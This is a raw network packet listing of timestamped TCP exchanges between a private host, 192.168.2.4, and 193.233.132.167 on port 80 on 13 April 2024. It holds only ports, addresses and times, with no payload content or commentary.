Apr 13, 2024 20:21:14.664185047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664232969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664237022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664267063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664300919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664309978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664334059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664366961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664375067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664401054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664437056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664447069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664470911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664503098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664508104 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664536953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664570093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664580107 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664603949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664612055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664637089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664669991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664679050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664706945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664741039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664750099 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664771080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664774895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664789915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664809942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664844990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664855003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664879084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664912939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664921045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.664946079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664978981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.664989948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665013075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665039062 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665044069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665060043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665077925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665087938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665113926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665148020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665149927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665182114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665215969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665224075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665247917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665282965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665292978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665317059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665350914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665383101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665383101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665383101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665384054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665419102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665451050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665456057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665483952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665518999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.665525913 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.665566921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.991830111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.991894960 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.991920948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.991940975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.991997957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.991997957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.992811918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.992888927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.992928028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.992964983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993001938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993016958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993016958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993041039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993078947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993094921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993118048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993146896 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993155003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993168116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993194103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993248940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993288994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993324995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993362904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993386984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993387938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993387938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993398905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993438005 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993459940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993459940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993477106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993499994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993515968 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993545055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993551970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993565083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993592024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993628979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993640900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993640900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993665934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993679047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993706942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993710995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993741035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993778944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993777990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993814945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993835926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993853092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993864059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993864059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993896008 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993933916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993963003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.993971109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.993983984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.994009018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994045973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994059086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.994082928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994119883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994137049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.994158030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994160891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.994194984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994232893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994246960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.994270086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994307041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994343996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.994343996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.994363070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.994402885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.005852938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.005913973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.005954027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006048918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006077051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006078005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006078005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006093025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006134033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006148100 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006172895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006211996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006232977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006249905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006264925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006292105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006309986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006329060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006354094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006369114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006407976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006407976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006429911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006448030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006485939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006489992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006509066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006529093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006546974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006567955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006577015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006608009 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006622076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006648064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006661892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006686926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006700039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006728888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006767988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006772041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006789923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006807089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006828070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006848097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006861925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006887913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006912947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006927013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.006951094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.006966114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007003069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007016897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007040977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007076979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007092953 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007112980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007127047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007152081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007191896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007205009 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007230043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007267952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007281065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007304907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007314920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007344007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007383108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007396936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007421017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007457972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007472992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007498026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007509947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007535934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007572889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007587910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007611990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007649899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007666111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007688046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007700920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007730007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007767916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007785082 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007790089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007816076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007829905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007857084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007868052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007880926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007914066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007925034 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.007951975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.007991076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008027077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008028984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008050919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008069038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008080006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008107901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008147001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008161068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008186102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008240938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008256912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008292913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008328915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008342981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008367062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008382082 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008408070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008445024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008457899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008483887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008519888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008532047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008558035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008569002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008596897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008634090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008645058 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008672953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008712053 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008725882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008749962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008760929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008790016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008826971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008840084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008865118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008903027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008915901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008943081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.008949995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.008979082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009017944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009032965 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009057045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009094000 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009109974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009133101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009144068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009170055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009207010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009218931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009244919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009282112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009294033 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009320974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009337902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009358883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009394884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009408951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009434938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009470940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009485006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009509087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009522915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009546995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009583950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009596109 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009620905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009656906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009670973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009696007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009707928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009733915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009772062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009783983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009809017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009845972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009882927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009918928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009921074 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009938955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009938955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.009955883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.009994030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010010004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010030031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010066986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010082006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010102987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010109901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010140896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010178089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010190010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010215998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010252953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.010271072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.010289907 CEST	80	49744	193.233.132.167	192.168.2.4
